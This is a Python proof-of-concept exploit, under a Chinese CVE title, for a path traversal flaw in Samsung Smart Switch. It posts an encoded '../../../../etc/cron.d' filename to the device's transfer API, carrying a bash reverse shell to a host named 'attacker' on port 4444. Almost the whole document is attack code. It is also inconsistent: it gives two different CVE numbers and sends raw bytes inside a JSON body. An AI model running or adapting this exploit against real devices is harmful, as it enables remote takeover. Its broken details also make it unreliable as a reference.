CVE-2026-21005 Samsung Smart Switch 路径遍历漏洞

""" CVE-2026-20205 - Samsung Smart Switch Path Traversal PoC Description: Path traversal in Smart Switch prior to version 3.7.69.15 allows adjacent attackers to overwrite arbitrary files. Discovered by: [email protected] CVSS: 6.5 (Medium) """ import requests import urllib.parse TARGET_IP = "<target_device_ip>" TARGET_PORT = 8443 SMART_SWITCH_ENDPOINT = f"https://{TARGET_IP}:{TARGET_PORT}/api/transfer/file" def construct_path_traversal_payload(remote_path, filename): """ Construct a path traversal payload to overwrite arbitrary files. Args: remote_path: Target directory path to escape from filename: Malicious filename to write Returns: Path traversal encoded filename """ traversal = "../../../../" target_file = f"{remote_path}/{filename}" payload = traversal + target_file return urllib.parse.quote(payload) def exploit_path_traversal(): """ Exploit CVE-2026-21005 by sending a crafted file transfer request with path traversal characters to overwrite arbitrary files. """ headers = { "User-Agent": "SmartSwitch/3.7.69.14", "Content-Type": "application/octet-stream", "X-Transfer-Type": "file-upload" } # Payload to overwrite cron job file (example target) malicious_filename = construct_path_traversal_payload( "etc/cron.d", "malicious_script" ) # Malicious content to execute malicious_content = b"#!/bin/bash\n/bin/bash -i >& /dev/tcp/attacker/4444 0>&1\n" # Construct exploit request exploit_data = { "filename": malicious_filename, "data": malicious_content } print(f"[*] Target: {TARGET_IP}:{TARGET_PORT}") print(f"[*] Sending path traversal payload: {malicious_filename}") try: response = requests.post( SMART_SWITCH_ENDPOINT, json=exploit_data, headers=headers, verify=False, timeout=10 ) if response.status_code == 200: print("[+] Exploit sent successfully!") print(f"[*] Response: {response.text}") else: print(f"[-] Exploit failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": print("=" * 50) print("CVE-2026-21005 Path Traversal Exploit") print("Samsung Smart Switch < 3.7.69.15") print("=" * 50) exploit_path_traversal()